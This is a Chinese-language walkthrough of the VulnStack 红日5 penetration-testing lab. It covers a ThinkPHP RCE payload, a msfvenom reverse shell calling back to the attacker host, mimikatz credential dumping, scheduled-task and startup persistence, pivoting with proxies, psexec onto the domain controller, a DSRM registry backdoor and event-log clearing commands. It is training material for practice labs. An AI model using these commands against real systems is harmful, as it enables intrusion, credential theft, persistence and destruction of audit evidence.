VulnStack-红日5
写在前面: msf的session不是很稳定,而且psexec登录域控可能会失败
vulnstack红队5
拍快照,拍快照,拍快照!不然你做不出来想要remake都做不到
本次是自己配置的环境, 密码已经被修改过了, 原密码如下:
win7: sun\heart 123.com & sun\Administrator dc123.com
2008: sun\admin 2020.com
但是win7靶机一样需要你自己上去开启php环境, 以下是我配置的ip地址和密码:
新增两个虚拟网络: 192.168.135.0/24 外网环境(Vmnet1) 192.168.138.0/24 内网环境(Vmnet2)
- win7 外网地址 192.168.135.150 内网地址 192.168.138.136 账号密码 sun\Administrator dc321.com
- win2008 内网地址 192.168.138.138 账号密码 sun\admin 2024.com
- kali 外网地址 192.168.135.128
攻击机也要放在这个网段下, 否则反弹shell出不来
简而言之, 就是win7靶机能ping通剩下的两台机器(有人没配好就开始做了,我不说是谁)
¶外网渗透
¶getshell
蚁剑需要自己上传
访问192.168.135.150, 发现是thinkphp
, 版本为V5.0.22
这个版本有远程 RCE 漏洞, 可以写一句话木马然后蚁剑连接
经过目录扫描可以得到已经有了一个 add.php 木马在网站目录, 密码经过爆破是 admins
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 |
生成在根目录直接用蚁剑连接就好
¶内网渗透
¶信息收集
蚁剑右键在此处打开终端
查看本机信息,可以知道我们的权限是administrator
whoami // 查看当前用户 |
有两个网段, 本地连接2明显就是攻击机和我们刚打的靶机的 ip, 那么 以太网适配器 wk1
应该是内网, 与我们不相通, 处于一个域DNS名称为sun.com
的域中
net view /domain // 查看有几个域, 本实验无回显 |
现在知道是在SUN
域中了
arp -a // 查看arp缓存 |
可以看得到有两个网段, 以及可能存活的主机
既然知道了域DNS名称, 可以通过 ping 的方式查找主控
ping sun.com |
所以, 我们可以得到的信息是
- 当前用户直接就是
administrator
, 管理员账户 - 目标主机所在的网络环境还存在一个
192.168.138.0
的网段, 域控主机为192.168.138.138
- 但是当前的用户权限不能收集域信息, ( 据说可以用低权限用户来进行域信息收集 )
用msf继续后面操作:
生成msf木马后通过蚁剑上传, 设置对应监听后用蚁剑命令行运行以连接( 直接输入shell.exe
)
如果上传到网站目录下msf可能会偶尔断开连接,而似乎在启动项目录或C盘根目录下没有这个问题(其余没有测试)
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.135.128 lport=10000 -f exe -o shell.exe |
连接后使用getsystem提权,成功,得到SYSTEM权限
或者将该木马传入目标机的启动项, 每次启动如果还在监听则会连接, 目录如下:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup
对主机进行密码抓取
load kiwi // 启动kiwi, 实际是mimikatz工具 |
成功抓取到域管理员Administrator
密码: dc321.com
migrate 324 // 迁移Metasploit会话到另一个进程(PID)
// 可能直接用mimikatz的时候不能运行, 原因是进程非64位, 需要迁移我们的会话到一个64位进程的程序上
// 如果你实在不知道怎么搞, 你就检查上传的msf木马是不是x64, 如果不是, 重传x64的就可以了
其余信息收集:
// meterpreter下 |
以下均可跳过 其实在这里可以关闭win7防火墙, 创建隐藏用户, 打开远程服务, 命令如下
// win7的shell下 |
// meterpreter下 |
然后就可以用远程桌面连接了, 用刚抓取的密码或新建的用户即可登录
rdesktop 192.168.135.150 |
如果是正常攻击, 我们可以塞几个计划任务, 自启动服务
schtasks /create /tn test /sc minute /mo 1 /tr C:/ProgramData/Microsoft/Windows/Start_Menu/Programs/Startup/win_shell.exe /ru system /f |
¶横向移动
尝试攻击域控, 首先在msf添加一个通向192.168.138.0
的路由, 在payload选择界面
route add 192.168.138.0 255.255.255.0 1 // 这个1是会话序号 |
msf搭建socks代理
use auxiliary/server/socks_proxy |
然后配置proxychains
, 将socks5服务器指向127.0.0.1:1080
, 之后便可以使用proxychains将我们的程序代理进内网
vim /etc/proxychains4.conf // 可能会有不同 |
给win7上传fscan
工具对域控主机进行端口和存活主机扫描, 这一步可以直接用proxychains
代理执行nmap命令代替(好慢)
fscan64.exe -h 192.168.138.138 |
本目录下就会多出result.txt: 可以得到域控主机开启了端口445,135,88,139
如果是nmap的话就是这样, 如果响应端口扫不出来, 那就是代理配置有问题或者sessions挂了, remake
¶攻击域控
psexec
登录域控通常是要求防火墙关闭的, 所以我们利用sc通过创建服务来远程执行, 关闭Windows 2008的防火墙
在Windows 7的 shell 上执行(可能要稍微等一下, 完成了之后瞄一眼dc):
net use \\192.168.138.138\ipc$ "dc321.com" /user:"administrator" |
既然已经获得了域管理员的用户名密码且域控防火墙已经被关闭了,那么我们直接尝试使用psexec登录域控
use exploit/windows/smb/psexec |
连不上就重启msf然后重新连接和配置路由, remake解决大部分问题
重启msf也连不上?那么你的快照就有用了, 全部恢复/重启(包括kali), 省略所有信息收集部分即可
看到这个就可以跑了
开启Windows 2008远程桌面
use post/windows/manage/enable_rdp |
之前已经配置过了proxychains
,可以直接连接远程桌面了, 选项都选yes
proxychains rdesktop 192.168.138.138 |
¶DSRM后门(直接跳过,我没搞懂)
这部分在有远程桌面的时候好做
ntdsutil // 进入ntdsutil |
随后修改域控主机的DSRM账户登录方式:
在Windows Server 2000以后的版本操作系统中, 对DSRM使用控制台登录域控制器进行了限制。
我们可以在注册表的HKLM:\System\CurrentControlSet\Control\Lsa\
中新建DsrmAdminLogonBehavior
项进行设置,将该新建的项中的值设为0, 1, 2可以分别设置不同的DSRM账户登录方式
- 0: 只有当域控制器重启并进入DSRM模式的时候才可以使用DSRM管理员账号登录域控制器
- 1: 只有当本地AD,DS服务停止才能登录
- 2: 任何情况下都能登录
我们需要将值设置为2, 手动进入注册表新建也可, 以下是命令方式
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -propertyType DWORD |
现在我们可以在域成员主机Windows7上通过工具, 使用域控制器的本地Administrator账号哈希传递攻击域控了
可以用meterpreter在load kiwi
后执行lsa_dump_sam
来获取哈希值
¶日志清理
有远程桌面的权限时手动删除日志:
开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志
或win+R, 输入eventvwr
进入日志查看器, 右键清除
命令执行方式清除:
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}" |
meterpreter自带清除日志功能
clearev //清除Windows中的应用程序日志,系统日志安全日志 |
利用earthworm搭建socks5反向代理, 将对应文件上传到对应机器( 不是本次实验内容 )
./ew_for_linux64 -s rcsocks -l 1080 -e 7890 // 攻击机 |